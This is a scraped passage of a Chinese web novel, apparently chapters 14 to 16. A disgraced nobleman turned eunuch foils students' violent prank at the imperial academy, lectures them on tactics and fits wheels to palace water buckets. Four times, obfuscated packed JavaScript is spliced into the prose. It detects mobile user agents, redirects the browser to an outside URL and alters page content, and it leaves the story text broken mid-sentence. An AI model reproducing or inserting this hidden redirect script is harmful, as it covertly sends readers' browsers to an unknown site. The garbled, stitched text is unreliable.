在门上放盆腥臭血液,是谢永章的主意。谢永章一听霍方怀疑效果,轻蔑地扫视他,道:“由得他推不推门?苏景同区区一个太监,任本世子差遣,届时本世子差人把他叫进屋,他敢不进?” 霍方冷笑道:“世子爷未免太拿自个儿当根葱。苏景同当摄政王世子的时候,给他提鞋都轮不着你。他才当太监一天,世子爷指望他立刻就适应太监身份听你差遣?” 霍方阴阳怪气:“世子爷可别见到他就腿软,巴巴地把我们都交代出去。” “你说谁提鞋呢!”谢永章大喝。 人群中有二十来个皇亲国戚勋贵子弟一起跟着嚷嚷出声: “霍方说什么呢你?!有你这么说话的吗?” “世子爷是正统皇家血脉,苏季徵反贼的儿子,也敢在此造次?” 霍方懒得跟这帮蠢货掰扯,霍方整苏景同,纯纯为了文人义气,谢永章嘛……霍方听他祖父提过,谢永章他娘新阳郡主从前很爱巴结苏景同,摄政王彼时权势滔天,巴结苏景同的人能从摄政王府排到建安外,苏景同没搭理过新阳郡主。 霍方心道:谁知道谢永章积极整苏景同,是不是为了出气? “给我条绳子。”霍方对各地学子们道。 很快有人从半开的门中扔了条麻绳进来。霍方把绳子的一头系在门背后的铜环上,另一端手牵着,“等苏景同靠近门时,不管他要不要开门,你们从后面推他一把,我扯绳子。” “好!”众学子附和。 时间不早了,苏景同很快就会来,谢永章指着霍方,恨恨道:“咱俩以后再算账。”谢永章转身,“水呢,准备好了没?” 苏景同被淋了一身狗血鸡血,定然要洗漱。 有学子将水提了过来,就放在隔壁的洗漱间内。 谢永章将一根手指探进水中,毫不意外摸到粘稠的质地,水里加了胶,粘他一层皮。 “帕子也备好了。”有学子用棍子挑着两条帕子,搭在盆上。帕子上喷了生姜汁,等苏景同擦眼睛,一抹帕子,啧。 “衣服呢?”谢永章问。 “也好了。”有人应声,指挥小厮将托盘盛过来。衣服细密的地方,扎着牛毛针。 “鞋!” “到位了。”鞋里也扎着牛毛针。 谢永章一样一样检查过去,他们准备了一套组合拳。 他们先派人在门口围截博士,将博士们都引开此地,免得他们捣乱。 等苏景同进门,被狗血鸡血泼一身,急需洗漱,鸡血狗血会遮挡他的视线,难以清晰分辨水,于是被洗漱的胶糊一头一脸,他想用帕子擦干净,又擦了一脸姜汁,姜汁进了眼睛中,眼睛辣得直流泪,睁不开。不能洗,只能换,衣服和鞋子里全是牛毛针,扎他全身。 最后,胶糊过的头发洗不干净只能剃掉。 完美的计划。 江天的马车停在了太学府外。太学府的规矩,仆役不得进入。平常给博士们打下手的是各地有功名 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14908526|160206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在身的人,苏景同是第一个“仆役”。 苏景同从车上下来,径自进入太学府。他对这里比绝大部分人都熟悉。 他原本在宫里读书,给十皇子当伴读——也可以说十皇子给他当伴读,准确来说,八九十十一四个皇子,都是他伴读。他爹是把“本王要谋反”写在脸上的勇士,授课的大学士很清楚他们的学生只有一个——苏景同,皇子们都是顺带的。 后来他追顾朔的意图太明显,他爹嫌他倒贴丢人,把他拎回来,扔进太学。 苏景同轻车熟路,朝博士们备课的凌云堂而去。 他前行速度太快,谢永章的狗腿们险些没看到他。 “苏景同来了!”学子们发信号。他们的信号是一种口哨,吹出来像鸟叫。 听到鸟叫声,学子们严阵以待,除了要执行计划的几位还留着,躲在附近,其他人作鸟兽散,躲在稍远的地方,避免打草惊蛇。 江天停好马车,悄无声息跟在苏景同身后。 苏景同一路直奔凌云堂,凌云堂前空无一人。这个点本不该有人。离上课还有小半个时辰,博士们大约一炷香以后才会陆陆续续来太学府。 凌云堂门半开着,门旁有个柱子。 谢永章躲在柱子后面,打算等苏景同靠近,一把把他推进门。谢永章紧张地搓手,好久没干坏事,他心在打鼓。 他是头一回跟苏景同对上。他和苏景同差八岁,苏景同进太学的时候,他还在家读书。听他娘说过,苏景同是混世魔王,把太学搅得腥风血雨,得亏不是自个儿亲儿子,否则能把她气晕过去。 也不知苏景同是怎么个混账法。 霍方对他的方案质疑时,他心里是有不安的,万一不奏效呢? “紧张呐?”苏景同探头问。 “有一点。”谢永章随口答了。 “!!!”谢永章僵住,谁特娘的在说话? “一会儿就不紧张了。”苏景同一脚踹他屁股上,谢永章躲闪不及,被踹个正着,柱子和门太近,谢永章猝不及防之下扑到了门上,门被狠狠撞到墙上,狗血和鸡血被打翻,泼了下来,正正好好浇了谢永章一头一身。 “啊啊啊啊——”谢永章尖叫,于是喝了一口狗血鸡血,“呸呸呸——” 苏景同抱臂,好整以暇地欣赏他的惨状,啧啧摇头,十分同情,“真惨呐。” 霍方见第一步就杯识破,本来想从窗户跑路,但一看到谢永章的惨状,忍不住多欣赏一会儿。 “哟,还有一个。”苏景同瞧见他手上的绳子,赞许道:“不错,你比他稍微多一点脑子。” 苏景同随手递给谢永章一瓢水,“洗洗吧。” 谢永章:…… 苏景同没给他拒绝的机会,把他头摁进瓢中,“不用谢。” 谢永章嗷嗷惨叫起来。 同谢永章一起的皇亲国戚们,方才躲的时候站得有点远,又被突然的变故惊到,你看我我看你,没及时跑过来。等他们反应过来要来救谢永章,苏景同已经用姜汁帕子好好给谢永章擦了脸。 谢永章:“啊啊啊啊——” 霍方忍了又忍:噗嗤。 14. 收拾 “我看看你们还准备了什么?”苏景同丢开谢永章,四处翻找,太监服和鞋显眼地放在水盆旁。 “小孩,”苏景同冲霍方喊:“过来。穿衣服。” “我?”霍方指自己。 苏景同用下巴点在一旁哭嚎打滚的谢永章:“给他穿。” 霍方勉强压着嘴角的幸灾乐祸,搓搓手,很是意动。老实说他对苏景同的讨厌都是从传闻中来的,但是对谢永章的讨厌是实打实的。他早看不惯谢永章尾巴翘上天的拽样了,能看他吃瘪,怪过瘾的。 但是…… “不。”霍方咬牙拒绝。他和谢永章此刻是同谋,如果就此卖了谢永章,他以后如何在学院立足?全院学子都在附近看着,他不能没品。 “挺好。”苏景同赞许,“有义气,我喜欢。” 在霍方纠结的时候,苏景同竟然已经来到他身旁,苏景同耸肩,“那你们同甘共苦吧。” 苏景同在霍方身侧踹了一脚,霍方万万没想到他当人面还搞偷袭这套,摔了个趔趄,地上不知何时沾满了胶 ,霍方一碰到地面,就努力挣扎,胶是他们千挑万选过的,越挣扎越粘。 霍方含恨停下,他们准备来坑苏景同的那桶胶水,苏景同只舀了一瓢给谢永章,桶被他踹翻,胶水流了满地,而他完全没发现。 别说霍方看不出来,就连旁观的学子们都没发现。 在场唯一看明白的是藏在树上的江天,苏景同在进凌云堂的院子前,停了一瞬,没走大路,从花廊里走的,让花草隐住身形,踹谢永章的时候,顺脚把桶踢了个半歪,让谢永章撞门的声音挡住桶的声音。 于是胶水汩汩而出。 鸡血狗血倾盆而下,地上湿漉漉一片,没人发现透明的胶水也一并蔓延进来。 苏景同舀胶水的时候身子正好挡住大家的视线,把桶扶正。 他都做好算计屋里人的准备,然后他装模作样说,屋里居然还有一个? 江天咂舌:靠靠靠这也太狠了,他是怎么看出屋里还有一个人的——虽然自己也能看出来,但自己可是第一高手,听呼吸声就能知道,苏景同是怎么看出来的?他不是不懂武功吗?别是他自己干多了这种缺德事,所以知道吧?噢哟,谢永章这倒霉样哟,惹谁不好非要惹他,吃到苦头了吧。真是愚蠢,他的烂名声都传遍了,还在军师面前搞小动作,这不是等着被收拾吗?这脑子,真是……太蠢了。他又没摸水,他怎么知道水有问题?他又是怎么知道旁边有胶有姜汁帕子的? 呆傻的学子们终于往凌云堂冲了,苏景同淡定地让开房间,给他们留出抢救空间,他则去书桌上拿起博士们用的教鞭,在空中甩了甩,教鞭发出破空的声音,苏景同由衷地笑了,满意极了:“不错。” 众学子费了九牛二虎之力,把霍方从地上拔了起来——头发少了一大把。至于谢永章,苏景同本意只粘他一瓢胶,但他吃痛满地打滚儿,自己粘了一身,也少了一大把头发。 苏景同好整以暇地坐在书桌后,翘起二郎腿,优哉游哉地看他们“施救”。 不知谁叫骂:“苏景同——你太过分了!” 苏景同淡定颔首示意:“感谢夸奖。” “大胆,你可知这位是谁?!”一狗腿子叫嚷。 苏景同眼皮没掀,“你也想尝尝胶水?” 狗腿子瞬间闭嘴。闭了一会儿,狗腿子突然意识到,不对啊!怕他干什么!胶水都在地上了!他们小两百人都在此地,难道还怕苏景同一个小太监吗?! 他才要开口,就听苏景同饶有兴致地点他:“诶,小狗。” “你叫谁小狗呢?!” “两百人在这儿,谁应我,我叫谁呗。”苏景同目光还在看众人拔萝卜,被拔起来的霍方和谢永章,身上粘着丝丝缕缕的胶线,很像一道名菜——拔丝地瓜,“你去太学府门外,有个马车,你告诉马车夫一句话。” 苏景同望向窗外,不知江天此刻在哪,但总不会离他太远,“让他去宫里传个话,就说我午膳想吃拔丝苹果、拔丝地瓜、拔丝山药,随便什么拔丝,都行。” 树上听得一清二楚的江天:…… 咦惹! 这个人真是好恶趣味! 正卿怎么能跟他当这么久好朋友的。 屋里安静下来。 除了叫嚣的狗腿,没人再跟苏景同嚷嚷。谢永章的亲信把他拔出来后,赶紧带人回去洗澡换衣服剪头发去了,顺便再差人去信阳郡主府报信,顾不上整苏景同。霍方的拥趸们也得带他去收拾。剩下和他俩关系不是特别亲近的,听苏景同去宫里点菜,想整治他的心思散了大半。 他都能去宫里点菜了,还是谢永章亲自对阵吧。 太学博士曲庐进来时,看到的就是这么诡异的场面。皇帝分给他的小太监苏景同自在地玩教鞭,学生们敢怒不敢言,一个个闷头往出走。 曲庐是勤学堂的太傅,年过五十,头发花白。苏景同在太学府时,也分到了勤学堂,带苏景同两年,曲庐深深觉得自己折寿了。 又见到熟悉的场面,曲庐许久不疼的头,立刻抽抽起来。 苏景同起身问好,“曲博士好。” “我不好。”曲庐回答。 曲庐环顾凌云堂,很好,他的大门此刻姹紫嫣红,他的地面黏答答粘脚,上面还有头发和衣服碎屑,不出意外是洗不干净了。 我的百年黄杨柳大门! 我的如意同心纹大理石地! 曲庐捂住心脏,内心泪流满面:“你个混世魔王,你又要干什么?!你就不能老实一天吗?!” 苏景同晃晃教鞭:“陛下没给您传旨么?我是来给您打下手的,正帮您教学生呢,不用太感激我。” 曲庐:…… 我教鞭呢?我抽死你! 苏景同笑得得意,早知道您要抽我,这儿呢。 中午,午膳果然如苏景同所点,除了贺兰芝原先想做的龙凤呈祥、鸡丝黄瓜、山珍刺龙芽和荷叶饭,又单给他加了拔丝苹果、拔丝地瓜、拔丝山药。 苏景同将拔丝苹果送给了谢永章,拔丝地瓜送给了霍方,拔丝山药上供给曲庐,曲庐连连摆手,太甜吃了牙疼。 曲庐趴在桌子上,突然抬头问:“我能不能辞官回乡。” “不能。”苏景同美滋滋用膳,“陛下不会准的。” “那你能不能滚回宫去,别碍我眼。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14908527|160206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “我也想啊。”苏景同无辜:“陛下下旨要我来。” “啊——”曲庐又趴下了。 苏景同照旧一样菜动了一两筷子,大概因为上午活动了一会儿,荷叶饭实打实吃了一盏。 曲庐趴着瞧了他一会儿,奇怪道:“你怎么了,饭量这么小?” 苏景同嬉笑道:“早上吃多了。” 曲庐随口说:“报应,让你作孽。” 苏景同笑笑:“可不是报应么。” 下午,收拾好的谢永章和霍方卷土重来,气势汹汹踹开凌云堂的门,“苏景同呢!出来!” 有苏景同在,曲庐翘班回家了,战术课,苏景同讲就行,他何必在战术大师面前耍宝。以上,是曲庐的官方说法。 真实说法是,曲庐无比忧伤道:“我要回家,我不能看你,我容易气死。你可怜可怜我吧,我好不容活到五十,正是颐养天年的年纪,让我好好养老吧。” 苏景同在曲庐的位置上,坐没坐相,歪在躺椅上看书,手里晃着教鞭。 “来了?”苏景同淡淡道,“霍方坐。” 屋里勉强收拾出个样子,把门擦洗了一番,地上的胶清理了,具体的修缮费用曲庐说要让皇帝出钱,就怪皇帝出的馊主意。苏景同随他。 谢永章进屋,愣住,屋里竟然摆了五十一个蒲团。 “谢永章去把勤学堂的人都叫来。”苏景同道。 勤学堂五十人,加上明德堂的霍方,刚好五十一人。 谢永章怒道:“你让我去我就去?你谁啊你。你记得你是太监吗?” 苏景同瞥他,“你的观察力让我叹服。” “什么?”谢永章又怒了。 霍方乐于在任何时候和谢永章唱反调,当即抱臂懒洋洋道:“你看他身上的衣服。” 谢永章定睛,嚯,曲庐的博士服,穿在苏景同身上了。 “恭喜你,长了眼睛。”苏景同说。 “别废话,赶紧去。”苏景同翻了一页书。 苏景同暂代博士授课,谢永章恨恨回勤学堂喊学生,大家听到此噩耗,纷纷表示曲博士一定是疯了,不情不愿地拖着沉重的脚步来接受苏景同的折磨。 人稀稀拉拉,好半天才坐齐,苏景同不着急,只自顾自地看书,等所有人都齐了,苏景同还是那副歪躺着的模样,照旧看书,“今儿下午你们的课程,第一问,想想今天上午为什么失败。” 谢永章:!!! 谢永章脱口而出:“因为你卑鄙无耻!” 苏景同充耳不闻,继续看书,“想出正确答案的,加一积分。允许你们讨论。” 太学府是积分制,想要从太学府毕业,除了必须修够两年,还需要满足获得300积分的条件。闻道堂的学子们不到半年就修满了积分、明德堂和中和堂的学子们现在虽然不满学分,但总不至于太差,以目前的速度,两年一定能修满。 勤学堂嘛…… 应当是没人能准时毕业了。 虽说皇亲国戚勋贵子弟,多上一年学,对人生没有什么影响。但丢人呐。爹娘说不定还要揍他们。 于是学生们短暂地沉默之后,沸腾了。 15. 积分 讨论声起初很小,众人只小声地在讨论。 “你说是怎么露馅的?” “有人通风报信了?” “全太学府学子不都在么?谁通风报信?” “谁说都在,有一个人不是不在么?”众学子互相对视一眼,深深觉得自己找到了正确答案。 他们设计恶作剧时,只有199个学生在场,唯一不在的那个,是顾炎,当今圣上的亲侄子。 论身份,是太学府众学子中最高的。 但顾炎的身份尴尬——他是圣上大哥的儿子。 当今圣上还是六皇子时,同当时的大皇子关系,甚至可以用“恶劣”来形容。 昔年太子未定,最有机会定为太子的是大皇子和六皇子。 六皇子顾朔在治国谋略上远超大皇子。但大皇子作为皇后嫡子,母族掌管禁军。顾朔生母出身不高,养母出身也普通。在周文帝想扳倒摄政王苏季徵的时候,选顾朔当太子远不如选大皇子当太子合适。 后来在皇后和大皇子的撺掇下,周文帝违背祖宗规定,文和11年,把才十四岁的顾朔封郡王,封地定在边远地区新州,远离皇权。 文和15年,摄政王担心顾朔在新州不便控制,找了个理由把顾朔弄回了京城。 到了文和20年,支持顾朔的人越来越多,大皇子坐不住,做了个粗糙的局,把酒醉的顾朔,和周文帝新进宫的妃嫔放在同屋,被周文帝发现时,妃嫔衣衫不整,泫然欲泣。周文帝勃然大怒,要顾朔滚到岭南去思过、 这个局简陋至极,可真相并不重要,重要的是周文帝需要明确给皇后和大皇子一针定心剂,好让禁军牢牢控制在自己手中,与摄政王苏季徵分庭抗礼。 流放岭南,是个很精妙的决定。流放本身是“罪不至死”的意思,但去毒虫遍地、瘴气漫天的岭南,能不能活下来就看天意了。 若非苏景同横插一杠子,硬要扣下顾朔,兴许当今圣上已经死在岭南的毒虫瘴气中了。 等到周文帝平了摄政王之乱、顾朔平定西北,新的矛盾产生——周文帝故意冤枉顾朔,流放他去岭南,又为了在摄政王面前伪装无力,将顾朔送给苏景同当嬖人,顾朔还会听周文帝的指令么? 大皇子和皇后向周文帝进言暗杀顾朔。三人一拍即合。 顾朔虽在暗杀中活下来,但伴随他平定西北、立下赫赫战功的军师姜时修却被掳走,至今生不见人死不见尸。 后来西南王叛乱,打进京城。大皇子仓皇出逃时被西南王射了一箭,正中要害,当日虽救了过来,苟延残喘四五天,终究还是没逃过伤口疮疡,高烧不退,烧没了。 皇后则在顾朔进京后自尽。 皇位争夺伴随着血雨腥风,赢家是顾朔,大皇子一脉便尴尬起来。 大皇子襁褓中的孩子,顾朔或许能网开一面。顾炎,已经十六岁了。在大周,十六岁成年。 以天家的习惯,顾炎最少和大皇子议事过两年。针对顾朔的刺杀,顾炎参与了没有,参与了多少,随着皇后的死成了谜团。 顾朔目前还没有要翻出这件事调查的意思,但也没有按照登基惯例,加封大皇子一脉。顾炎至今还只是没有爵位在身的闲散宗亲。 皇亲国戚勋贵子弟们来太学之前,都被家里千叮咛万嘱咐,万万不能接近顾炎。 各地学子们指望着太学毕业后封官,更不敢沾他。 于是顾炎在众人的孤立中,再不参与他们的任何集体行动。 满学府只有他一个不在现场,那是谁告密的就很清楚了。 谢永章冷哼道:“告密死全家。” “喂!”谢永章喊,“我们有答案了。” 苏景同将书移下来一点,露出一只眼睛瞥他。 “顾炎告密了!”谢永章自信地喊出答案。 苏景同又将书移回去,嗤道:“就你们那点把戏,还需要告密?你晃晃你的脑袋。” 谢永章不明所以地晃脑袋。 “听到大海的声音了吗?” “什么?”谢永章问。 霍方双臂抱胸,扬起下巴道:“说你脑子里水太多,成海了。” 谢永章涨红脸:“苏景同——!” 苏景同翻过这页书,面无表情道:“让你们讨论答案,不是让你们研究怎么讲笑话,再给我蠢答案,扣你们积分。” 霍方道:“让本学子来告诉你们正确答案吧。”曲博士备课用的凌云堂,和学子们上课用的勤学堂,并无多少分别,但苏景同宁愿搬51个蒲团过来,也要在还没彻底清理干净的凌云堂上课,自然是想让他们更好的观察“作案地点”。 谢永章翻了个大大的白眼。 “我们放在门上的狗血鸡血,有血腥味,你闻到了。”霍方指出。 “!!!”谢永章瞪圆眼睛,忘了这个。 “霍方加一分,”苏景同道:“还有其他答案,再接再厉。” 霍方愣住:“还有其他答案?” “你们漏洞百出的把戏,难道你以为只有一个答案吗?”苏景同问。 谢永章觉得自己今天太倒霉了,被苏景同翻来覆去地羞辱,偏偏还说不出话,气得脸红脖子粗。 其他学子已然开始了激烈的讨论,看起来只要是漏洞,就能拿积分。 不一会儿,有人举手,“谢世子藏在柱子后面时,有影子。” 谢永章:??? “观察力不错,加一分。” 有了这人开头,很快其他人七嘴八舌起来,“我们藏在树和花坛中,也漏了痕迹。” “嗯,”苏景同道:“你也加一分。” “曲博士还没来学府,但门半开着。” “加一分。” “我藏在亭阁下面,你路过亭阁时,我偷笑了,声音有点大,你听到了是吗?” “加一分。” “装胶水的木桶放在门边,曲博士平时将水桶放在屋内,木桶不在平时的位置。” “结合现实分析,加一分。” “曲博士爱干净,帕子只用自带的,他屋里的脸盆架上不会有帕子。” 苏景同把书移下来,看向说话的学生,“有点脑子,你不错,给你加一分。” 江天在树上不忍直视,这帮熊孩子们,搞个恶作剧都能有这么多漏洞,啧啧啧,丢人,太丢人了。十五六岁的人,干个恶作剧都干不利索, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14908528|160206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 难怪苏景同随随便便就能把他们抓包。 苏景同合上书,坐起来,“好了,现在进入第二个问答,你们今天错在哪里。” 有学子咬牙,错在哪里,这是要教训他们吗?他卑鄙无耻,怎么有脸问。 有人为了积分,忍辱负重道:“不该恶作剧。” 苏景同耸肩,“这不是问题,你们对我有火气很正常。假使连太学府都无视我的行径,毫无血气,那才是真完了。提醒你们一点,你们每个人,都不止一个错误。” 霍方迅速捕捉苏景同的话,如果他不觉得恶作剧折腾他是错误,那他觉得什么是错误?他今天问的第一个问题是什么? 想想今天上午为什么失败。 霍方试探道:“我们错在考虑不周全,没有做好周密的计划。” “加一分。” 学子们豁然开朗,这个错误他们接受!是的,失败可不就是因为他们考虑不周全。现在回头看他们的恶作剧,一言难尽。不怪苏景同看出来,换个有脑子的都可以。如果他们恶作剧能够缜密,此刻想必是另一种局面。 “第二个错误呢?”苏景同问霍方。 “第二个……”霍方迟疑,“是因为我在发现谢永章失败后,没有及时跳窗跑吗?” “嗯。”苏景同认可,“作为军师,计划不成功,在没有紧急应对方案的情况下,应当及时撤兵,避免造成更大伤亡。” 凌云堂安静了。他们以为苏景同是来涮他们玩的,看在积分的面子上,配合他。原来他还想着授课。 “第三个呢?”苏景同接着问。 “还有第三个?”霍方愣住。 苏景同淡淡应了一声,转向其他人,“你们呢,还有别的想法吗?” 全场鸦雀无声。 苏景同也不催,自顾自躺回去看书。 又过了一会儿,有人颤颤巍巍举手,“我们、不、不该留、留下看戏。” “为什么你觉得不应该留下来?” “我们留下没有用,只能看戏,还因为我们人多隐藏不好,暴露了身形。” “很好。”苏景同笑起来,“如果其他学子是兵,作为军师,你们要做的是充分利用调动好所有人,用最少的人发挥出最大功效,而不是像今天这样,真正打仗的只有两个人,但所有人都在战场,暴露行踪。” “至于你们的第四个错误……”苏景同问:“你们觉得这个恶作剧有意思么?” 学子们沉默,昨晚觉得有意思,现在看来真没意思。他们甚至感到羞耻。他们前所未有地挫败。兴致勃勃众志成城做出来的恶作剧,不仅不堪一击,还错漏百出。 “老实说,”苏景同翘起二郎腿,“诸位是千军万马考进来的人才,表现出来的恶作剧水平,还不如随便哪个村野的七八岁的孩童。你们想过为什么吗?是的,你们考虑不周,你们战术错误,你们应变不机敏,再往深挖呢?村野孩童,难道比你们考虑周全、比你们战术合理、比你们应变机敏?” 苏景同的目光从第一个学生,转到第二个学生,挨个注视,学生们低下头,不敢与他对视。 “这是你们今晚的功课,好好想想吧,下课。” 16. 找上门 江天抢在苏景同到达前,回到马车上,又装成车夫。 不过此刻在太学府外的马车,不止一辆,另一辆银白色的马车静静地停在太学府对面,才秋日,已经换上了冬日的厚重门帘。 除了左正卿,还有谁如此怕冷。 苏景同出来后,直奔银白色马车。 马车上烧着小火炉,左正卿正在车上煮茶,“累吗?” 苏景同在火炉旁坐着烤火,等身上的寒意散了,一头拱进左正卿怀里,滚来滚去地撒娇,长叹一口气,“累死我了。当博士真不容易。” 左正卿莞尔:“你忘了你上学把曲博士气跳脚了?” 苏景同摸下巴:“有吗?” “你还把大学士们气得要辞官。”左正卿提醒。 “咦?”苏景同不认账:“你不要冤枉我。” “今天怎么样,有人难为你吗?”顾朔保证一百次,也不如左正卿亲眼盯着安心。 “难为我?”苏景同从鼻子喷出一口气,“凭他们?” 左正卿掐他脸蛋,“我多余担心你。”他将茶放在桌几上,“起来喝点茶。” 苏景同不情不愿地爬起来,掀开一点窗帘,“瞧那儿。” 左正卿顺着他的手指看去,只见一辆灰扑扑的马车,马车前坐着一个高瘦的车夫。 “江天。”苏景同介绍。 左正卿喉头微动,忍不住多看了几眼。他还没见过江天执行任务时的样子。江天…… 平时是很可爱的。 有一双可爱的狗狗眼。 活蹦乱跳地到处撒欢。 执行任务时,原来这么安静吗? 江天背后长了眼睛,两道视线过来,他身体察觉到视线,但忍着不敢动——普通人是不会有这般敏锐感知的。 江天在心里疯狂挠门:啊啊啊啊太过分了,银白马车一定是左正卿的车,左正卿就在里面。他来等苏景同!怎么可以这样,苏景同不是他敌人对手吗,关系怎么这么好,我值夜的时候怎么不来接我?他俩在车上说啥呢,苏景同这老半天不下来。这什么味,茶香吗?我去还喝上茶了?!我还在风里冻着呢!聊什么呢,为什么都看我,在叨叨我吗?背后说人不道德啊!!我也想听!! 江天百爪挠心,面上却看不出一点情绪,还是车夫百无聊赖的模样。 苏景同咂舌,这位真是能忍。 苏景同跳下马车,递给江天一杯茶,“正卿给的,天寒地冻,请车夫喝杯热茶。” 江天又是千恩万谢,小心翼翼捧过精致的天青釉茶杯,生怕弄脏弄坏,小口小口地喝茶。 左正卿在车里看得失笑,演起戏来蛮像样的嘛。 陛下将江天派到苏景同身边,左正卿放下心来,江天的武功和心智都是一等一的好,就算他守着苏景同,也未必有江天效果好。 左正卿又细细打量江天,将他车夫模样在心中描摹一遍,合下窗帘,吩咐仆役,“走吧。” 苏景同回宫后,顾朔还没回来——朝会倒是上完了,只不过顾朔被新阳郡主绊住脚了。 新阳郡主得知自己宝贝儿子谢永章在太学府被苏景同泼鸡血狗血粘胶擦姜汁帕子,心疼得来找顾朔,哭得一把鼻涕一把泪,哭自己命苦,爹不重视,娘不疼爱,嫁了个夫君窝窝囊囊不争气,好不容易生了个钟灵毓秀的儿子,又碰上苏景同这等恶人,好一顿磋磨。儿子要有什么事,她也不活了! 苏景同估摸顾朔还得被缠很久,回房间把自己的水桶拿了出来,开始修整木桶。 他从太学府出来时,顺走了一块木板和一些木工工具。 他切割出四块小小的车轮,装在水桶上。 他手指灵巧,划线、切割、打磨、上蜡、装轮,做得行云流水。不过片刻间,水桶上便多了四个轮子。 苏景同推着水桶来回转,心满意足:“不错。” 往后打满水就推着回来。 苏景同趁热打铁,去井里打了满满一桶水,心情颇好地推着水桶回来。加了轮子果然非同凡响,轻轻一推,桶便跟着走了。 顾朔听新阳郡主哭了半个时辰,见她还没有停止哭泣的意思,对苏景同的指控愈发严重,好似苏景同十恶不赦似的,心里的不耐渐渐涌了上来——苏景同区区太监,头一天去太学府,早上刚到,如何能有鸡血狗血胶水姜汁帕子? 只怕是谢永章想作弄苏景同,反被作弄回来。 “苏景同的为人朕清楚,堂姐回家不妨问问永章做了些什么。”顾朔不咸不淡道。 新阳郡主愣住,她本以为顾朔要替她主持公道,万万没想到他说出这样的话来。 顾朔道:“今日之事权当教训,往后长些心。潘启。” 潘启利落行礼:“奴才在。” “传个太医随郡主回去给世子看伤,务必看仔细了。”顾朔吩咐,别回头什么鸡毛蒜皮的病都赖苏景同身上。 “奴才这就去。” 等顾朔打发走麻烦,回了广明宫,院子里人头攒动,太监宫女们围成一团,不知在做什么,连皇帝回来都没发现。 顾朔走近,被团团包围的人是苏景同,他正在挨个给每个木桶上轮子,他手指翻飞,嘴上还道:“不要急不要急,只要有木头,都给做。一个个排队来。” 一个小宫女推着装满水的有轮木桶来回走,眼睛亮晶晶地在发光,“神了!好轻松!” 潘启心底冰凉,这帮造孽的玩意儿,不上工一个个在干什么,他重重咳嗽了一声。 有太监抬头,脸色绿了,同手同脚地行礼,“陛下万安。” 其他围着的宫女太监们悚然一惊,顾不上什么轮子不轮子的,慌慌张张跪下,齐声道:“陛下万安。” 玩轮子木桶的小宫女跪的时候动作太大,膝盖顶在了有轮木桶上,木桶吱吱呀呀地走直线朝前滚动去,目标:皇帝。 小宫女后背瞬间凉了,一旦撞到皇帝身上,她免不了受罚。 苏景同正在锯轮子,因而行动比他们慢一分,他将手里的工具放在一旁,站起来,刚好在疯狂进击的木桶经过他时,精准地抓住了木桶把手,制止了木桶的找死行为。 苏景同跪下:“陛下万安。” 要是没苏景同,潘启这会儿早抢在顾朔前痛骂宫人,叫嚷着要剥他们一层皮,然后喝令他们该干嘛干嘛,别耽误伺候主子,等晚上换班了,再狠狠收拾他们——先行处置,免得顾朔给出更严重的处罚。 有苏景同在,第一步痛骂宫人就不敢实现。 顾朔评价道:“木桶不错。潘启。” “奴才在。” “着制造司制造一批有轮木桶,给各宫分分。” “是。”潘启长出一口气,这一关看来是过了。不算太意外,苏景同当不了几天太监,宫女太监本就不敢轻易和主子接近,皇帝若因这件事罚了宫人,往后没几个宫女太监敢和苏景同说话搭腔的。 “都起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14908529|160206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧。”顾朔道:“你跟朕进来。” 顾朔没指名道姓,苏景同自觉跟上。 潘启等顾朔身影走远了,听不到这边的动静,才指指点点用嘴型骂他们:“你们是要上天啊,别傻跪着了,赶紧起来干活!” 顾朔换了常服,坐在罗汉床上,苏景同跟上去狗腿地捏肩捶背,“陛下累了吧,我给您捏捏。” 顾朔捏住他作乱的手,瞧了眼他的手指掌心——玩锯子没伤到手,道:“刚玩过木头,净手去。” 苏景同嘀嘀咕咕,这话真耳熟。 等苏景同回来,顾朔正捧着一卷书在看,苏景同脱了靴子上罗汉床,给顾朔按摩,“陛下……” “嗯?” 苏景同吭哧吭哧,“新阳郡主……” 